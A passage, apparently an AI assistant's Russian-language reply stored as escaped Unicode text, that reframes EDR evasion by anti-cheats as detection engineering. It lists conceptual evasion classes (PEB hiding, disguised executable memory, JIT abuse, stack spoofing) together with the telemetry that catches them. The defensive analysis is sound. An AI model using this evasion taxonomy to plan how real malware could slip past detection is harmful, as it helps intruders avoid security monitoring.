\u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430. \u042d\u0442\u043e \u0443\u0436\u0435 \u043d\u0435 defensive-\u0440\u0430\u0437\u0431\u043e\u0440, \u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f evasion-\u043b\u043e\u0433\u0438\u043a\u0430. \u041d\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u044d\u0442\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e \u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0441 \u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0434\u0435\u0442\u0435\u043a\u0442-\u0438\u043d\u0436\u0438\u043d\u0438\u0440\u0438\u043d\u0433\u0430: \u043a\u0430\u043a\u0438\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043e\u0431\u0445\u043e\u0434\u043e\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e, \u043a\u0430\u043a\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043e\u043d\u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0438 \u043a\u0430\u043a \u0438\u0445 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442.\n\n1. PEB/VAD bypass: \u0447\u0442\u043e \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0441\u043b\u043e\u043c\u0430\u0442\u044c \u0438 \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u044c\n\u0427\u0442\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043a\u0440\u044b\u0442\u044c\nPEB/VAD-\u043a\u0440\u043e\u0441\u0441\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u043c \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0435:\n\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435\n\u0434\u043e\u043b\u0436\u0435\u043d \u0438\u043c\u0435\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043c\u043e\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435:\nloader module, image section, JIT runtime, signed instrumentation, etc.\n\u041e\u0431\u0445\u043e\u0434\u044b \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f \u0438\u0441\u043a\u0430\u0437\u0438\u0442\u044c \u043e\u0434\u043d\u0443 \u0438\u0437 \u0441\u0442\u043e\u0440\u043e\u043d:\n\nPEB says: module exists / does not exist\nVAD says: memory exists / has type / has backing file\nexecution says: code actually runs here\n\u0422\u0438\u043f\u043e\u0432\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043f\u043e\u043f\u044b\u0442\u043e\u043a:\n\n1. \u0421\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c \u0438\u0437 PEB loader lists\n2. \u0421\u0434\u0435\u043b\u0430\u0442\u044c private executable memory \u043f\u043e\u0445\u043e\u0436\u0435\u0439 \u043d\u0430 image-backed code\n3. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 host/runtime \u043a\u0430\u043a \u043f\u0440\u0438\u043a\u0440\u044b\u0442\u0438\u0435\n4. \u0412\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 already-trusted executable regions\n5. \u041d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0442\u0430\u0442\u044c module attribution\n6. \u041f\u043e\u0434\u0434\u0435\u043b\u0430\u0442\u044c call stack \u0432\u043e\u043a\u0440\u0443\u0433 sensitive action\nEDR \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e \u043d\u0435 \u0434\u043e\u0432\u0435\u0440\u0438\u0435\u043c \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443, \u0430 \u0442\u0440\u043e\u0439\u043d\u043e\u0439 \u0441\u0432\u0435\u0440\u043a\u043e\u0439:\n\nPEB module list\nvs\nVAD/kernel memory map\nvs\nactual execution telemetry\n2. \u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c\u0441\u044f \u043e\u0442 PEB/VAD manipulation\n2.1. \u041d\u0435 \u0434\u043e\u0432\u0435\u0440\u044f\u0442\u044c PEB \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443 \u0438\u0441\u0442\u0438\u043d\u044b\nPEB \u2014 user-mode \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 defensive rule:\n\nPEB is advisory, VAD is authoritative.\nEDR \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c:\n\nVAD MEM_IMAGE \u0431\u0435\u0437 PEB entry\nPEB entry \u0431\u0435\u0437 matching VAD image\nMEM_PRIVATE RX \u0441 PE headers\nexecution address not owned by loader module\nthread start outside known image\n2.2. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c module attribution \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f:\n\nthread start\nsyscall origin\nreturn address\ncallback origin\nindirect call target\nexception handler\nAPC routine\n\u0440\u0435\u0437\u043e\u043b\u0432\u0438\u0442\u044c:\n\naddress\n \u2192 VAD region\n \u2192 memory type\n \u2192 protection\n \u2192 backing file\n \u2192 PE headers\n \u2192 signature\n \u2192 PEB membership\n \u2192 image-load event history\n\u0415\u0441\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u043d\u043e \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0447\u0435\u0441\u043a\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u2014 \u044d\u0442\u043e \u0441\u0438\u043b\u044c\u043d\u044b\u0439 \u0441\u0438\u0433\u043d\u0430\u043b.\n\n2.3. \u0418\u0441\u043a\u0430\u0442\u044c temporal inconsistency\n\u0427\u0430\u0441\u0442\u043e \u043e\u0431\u0445\u043e\u0434 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0441\u043d\u0438\u043c\u043a\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0430\u0436\u043d\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f:\n\nregion was RW\nthen written\nthen changed to RX\nthen executed\nthen used for sensitive syscall\n\u0418\u043b\u0438:\n\nmodule appeared in VAD\nbut no corresponding image-load event existed\nTemporal graph \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u0438\u043b\u044c\u043d\u0435\u0435 \u0440\u0430\u0437\u043e\u0432\u043e\u0433\u043e memory scan.\n\n3. JIT bypass: \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u043e\u043d\u0446\u0435\u043f\u0442\u0443\u0430\u043b\u044c\u043d\u043e \u0438 \u043a\u0430\u043a \u043b\u043e\u0432\u0438\u0442\u0441\u044f\n\u042f \u043d\u0435 \u0431\u0443\u0434\u0443 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0440\u0435\u0446\u0435\u043f\u0442\u044b \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u043e\u0434 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 JIT-\u0434\u0432\u0438\u0436\u043a\u0438. \u041d\u043e \u0437\u0430\u0449\u0438\u0442\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 \u0442\u0430\u043a\u0430\u044f: \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e JIT-\u043a\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438, \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u043d\u0430 shellcode:\n\nMEM_PRIVATE\ndynamic writes\nRW \u2192 RX transitions\nexecution outside PE image\nno normal module ownership\n\u0427\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 JIT\n\u0423 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e JIT \u0435\u0441\u0442\u044c \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430:\n\nknown runtime DLL loaded\nknown allocator / code heap\nknown threads\nknown call stacks\nruntime metadata\nrepeatable allocation sizes\nstable lifecycle\nnormal process family\n\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:\n\nbrowser renderer + V8\ndotnet process + CLR/CoreCLR\njava process + JVM\nnode.exe + V8\n\u0427\u0442\u043e \u0432\u044b\u0434\u0430\u0451\u0442 \u043f\u043e\u0434\u0434\u0435\u043b\u043a\u0443 \u043f\u043e\u0434 JIT\nEDR \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043d\u0430 \u043d\u0435\u0441\u043e\u0441\u0442\u044b\u043a\u043e\u0432\u043a\u0438:\n\nJIT-like executable region exists\nbut no JIT runtime owns it\n\u0438\u043b\u0438:\n\nJIT runtime loaded,\nbut sensitive action originates outside expected runtime path\n\u0438\u043b\u0438:\n\nprivate RX region \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0434\u043e\u043b\u0433\u043e \u0434\u043e:\n  handle open to remote process\n  memory write\n  protection change\n  thread creation\n  credential/process access\n\u0422\u043e \u0435\u0441\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441 \u043d\u0435 \u0432 \u0442\u043e\u043c, \u201c\u043f\u043e\u0445\u043e\u0436 \u043b\u0438 \u0440\u0435\u0433\u0438\u043e\u043d \u043d\u0430 JIT\u201d, \u0430:\n\n\u0432\u0435\u0434\u0451\u0442 \u043b\u0438 \u043e\u043d \u0441\u0435\u0431\u044f \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c runtime,\n\u0438\u043b\u0438 \u043a\u0430\u043a transient execution staging area.\n4. \u0420\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b JIT-abuse, \u0431\u0435\u0437 \u0440\u0435\u0446\u0435\u043f\u0442\u043e\u0432\n\u041d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u0430\u043a\u0438\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438:\n\n4.1. Living inside trusted runtime\n\u0417\u043b\u043e\u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438, \u0433\u0434\u0435 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0434 \u043d\u043e\u0440\u043c\u0430\u043b\u0435\u043d:\n\nbrowser renderer\nNode.js\n.NET host\nJava process\nscripting engines\n\u0417\u0430\u0449\u0438\u0442\u0430 \u0441\u043c\u043e\u0442\u0440\u0438\u0442:\n\nprocess ancestry\nscript source\nloaded modules\nnetwork/file behavior\nchild processes\ncredential access\ncross-process memory access\n4.2. Abuse of script engines\n\u0421\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0435 \u0434\u0432\u0438\u0436\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u0438\u043b\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c native bindings. \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f:\n\nunexpected native memory allocation\nRW/RX transition\nremote process handle\nthread start outside known runtime code\n4.3. Runtime confusion\n\u041a\u043e\u0433\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0440\u0435\u0433\u0438\u043e\u043d \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c runtime, \u043d\u043e \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0435\u0433\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u043c:\n\nwrong allocator\nwrong thread\nwrong call stack\nwrong metadata\nwrong region size\nwrong lifetime\nwrong protection transition pattern\n4.4. JIT spraying \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043b\u0430\u0441\u0441\n\u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438 JIT spraying \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u0443\u044e \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044e executable code \u0432 JIT runtime. \u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0434\u0432\u0438\u0436\u043a\u0438 \u0443\u0441\u043b\u043e\u0436\u043d\u0438\u043b\u0438 \u044d\u0442\u043e \u0437\u0430 \u0441\u0447\u0451\u0442:\n\nW^X policies\nCFG/CET\nrandomization\nconstant blinding\nsandboxing\ncode page separation\nwrite-protect code pages\n\u0414\u043b\u044f EDR \u0432\u0430\u0436\u0435\u043d \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e payload, \u0430 \u0432\u0435\u0441\u044c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0432\u043e\u043a\u0440\u0443\u0433 runtime.\n\n5. \u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u0438 EDR: \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d\u0438 \u043d\u0435 \u0432\u0441\u0435\u0433\u0434\u0430 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u044f\u0442\u0441\u044f\n\u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u201c\u043a\u0430\u043a \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043e\u0431\u0445\u043e\u0434\u044f\u0442 EDR \u0431\u0435\u0437 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0430\u201d \u043e\u043f\u0430\u0441\u043d\u0430, \u0435\u0441\u043b\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0435\u0451 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e. \u041d\u043e \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u0430: \u043c\u043d\u043e\u0433\u0438\u0435 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043d\u0435 \u201c\u043e\u0431\u0445\u043e\u0434\u044f\u0442\u201d EDR, \u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0432 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c/\u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435.\n\n\u041f\u043e\u0447\u0435\u043c\u0443 EDR \u0442\u0435\u0440\u043f\u0438\u0442 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\nEDR \u0432\u0438\u0434\u0438\u0442:\n\nsigned binaries\nknown vendor certificate\nknown driver/service\nknown installation path\nknown launch chain\nknown target process: game\nknown backend domains\nknown kernel objects/devices\nknown behavior baseline\n\u0422\u043e \u0435\u0441\u0442\u044c \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0430\u043d\u0442\u0438\u0447\u0438\u0442 \u0434\u0435\u043b\u0430\u0435\u0442 \u043d\u0438\u0437\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u0435 \u0432\u0435\u0449\u0438, \u043e\u043d\u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043e\u043c.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0430\u043d\u0442\u0438\u0447\u0438\u0442 \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 EDR\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c:\n\nkernel driver\nprocess/thread monitoring\nhandle filtering\nmodule scans\nmemory integrity checks\nuser-mode hooks\nanti-debug\ndriver communication device\n\u041d\u043e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u0430\u043a\u043e\u0439:\n\ngame launcher \u2192 game \u2192 anti-cheat service/driver\n\u0410 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442:\n\noffice document \u2192 script host \u2192 unknown driver/tool \u2192 sensitive process access\n\u0422\u0435\u0445\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0445\u043e\u0436\u0438, \u043d\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0440\u0430\u0437\u043d\u0430\u044f.\n\n6. \u041a\u0430\u043a EDR \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u043b\u043e\u0436\u043d\u044b\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u044b\n6.1. Trust and reputation\ncertificate reputation\nvendor allowlist\nfile prevalence\ncloud reputation\ndriver signing state\nknown hashes\nstable update channel\n6.2. Scope limitation\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442 \u043e\u0431\u044b\u0447\u043d\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445:\n\ngame process\nlauncher\nanti-cheat service\ngraphics/input ecosystem\n\u0415\u0441\u043b\u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0438\u043d\u0430\u0440\u044c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0442\u0440\u043e\u0433\u0430\u0442\u044c:\n\nlsass.exe\nbrowser credential stores\nEDR service\ndomain admin tools\nPowerShell remoting\n\u0441\u043a\u043e\u0440\u0438\u043d\u0433 \u0440\u0435\u0437\u043a\u043e \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f.\n\n6.3. Stable behavioral profile\n\u0423 \u0430\u043d\u0442\u0438\u0447\u0438\u0442\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c:\n\ndriver loads at game start\nopens handles to game\nscans modules\ncommunicates with service\nunloads/stays resident predictably\n\u0423 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e bypass \u0447\u0430\u0441\u0442\u043e transient:\n\nappears briefly\nallocates executable memory\ntouches sensitive target\ncleans artifacts\n7. \u0427\u0442\u043e \u0435\u0449\u0451 \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u0438\u043a\u0443\n7.1. Execution provenance\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0443\u0441\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430:\n\n\u043a\u0442\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u043f\u0430\u043c\u044f\u0442\u044c?\n\u043a\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b?\n\u043a\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b executable?\n\u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043b?\n\u043a\u0430\u043a\u043e\u0439 \u0431\u044b\u043b call stack?\n\u043a\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441-\u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c?\n\u0431\u044b\u043b \u043b\u0438 backing file?\n\u0431\u044b\u043b\u0430 \u043b\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044c?\n7.2. Memory lifecycle\n\u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430:\n\nRW allocation\n\u2192 high-entropy write\n\u2192 RX protection\n\u2192 execution\n\u2192 sensitive syscall\n\u2192 cleanup\n\u041b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 JIT:\n\nruntime allocator\n\u2192 generated code with runtime metadata\n\u2192 expected thread/context\n\u2192 no suspicious cross-process action\n7.3. Stack legitimacy\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c:\n\nreturn addresses\nVAD ownership\nPEB membership\nunwind metadata\nTEB stack bounds\ncall-site plausibility\n7.4. Sensitive target context\n\u0421\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u044b\u0448\u0430\u044e\u0442 \u0440\u0438\u0441\u043a:\n\naccess to lsass/security processes\nopening EDR/AV processes\ncredential store access\nremote memory write\nthread injection\ntoken manipulation\nETW tampering\nservice control operations\n8. \u041a\u043e\u0440\u043e\u0442\u043a\u0430\u044f \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430\nPEB/VAD bypass\n\u0417\u0430\u0449\u0438\u0442\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043d\u0435 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u201c\u0435\u0441\u0442\u044c \u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c \u0432 PEB\u201d, \u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c:\n\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441\n\u2192 VAD\n\u2192 memory type\n\u2192 backing file\n\u2192 PEB ownership\n\u2192 image-load history\n\u2192 stack context\n\u2192 behavior after execution\nJIT abuse\n\u041d\u0435 \u0432\u0441\u044f\u043a\u0438\u0439 MEM_PRIVATE RX \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0435\u043d. \u041f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u043e\u0433\u0434\u0430:\n\nJIT-like \u0440\u0435\u0433\u0438\u043e\u043d \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 JIT-\u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\n\u0438\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e \u0438\u0434\u0443\u0442 sensitive actions.\n\u0410\u043d\u0442\u0438\u0447\u0438\u0442\u044b\n\u041e\u043d\u0438 \u043d\u0435 \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b. \u0418\u0445 \u0447\u0430\u0441\u0442\u043e \u0442\u0435\u0440\u043f\u044f\u0442 \u0438\u0437-\u0437\u0430:\n\n\u043f\u043e\u0434\u043f\u0438\u0441\u0438\n\u0440\u0435\u043f\u0443\u0442\u0430\u0446\u0438\u0438\n\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e baseline\n\u0413\u043b\u0430\u0432\u043d\u044b\u0439 defensive-\u043f\u0440\u0438\u043d\u0446\u0438\u043f\n\u041e\u0431\u0445\u043e\u0434 \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043b\u043e\u043c\u0430\u0435\u0442 causal chain:\n\n\u043a\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043e\u0434\n\u043a\u0442\u043e \u0435\u0433\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\n\u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0441\u0442\u0430\u043b executable\n\u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f\n\u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0434\u0435\u043b\u0430\u0435\u0442 sensitive action\n\u043f\u043e\u0447\u0435\u043c\u0443 \u0441\u0442\u0435\u043a \u043d\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442 \u044d\u0442\u043e\u0442 \u043f\u0443\u0442\u044c\n\u0415\u0441\u043b\u0438 \u043d\u0430 \u044d\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u043d\u0435\u0442 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0432\u043e \u0432\u0441\u0435\u0445 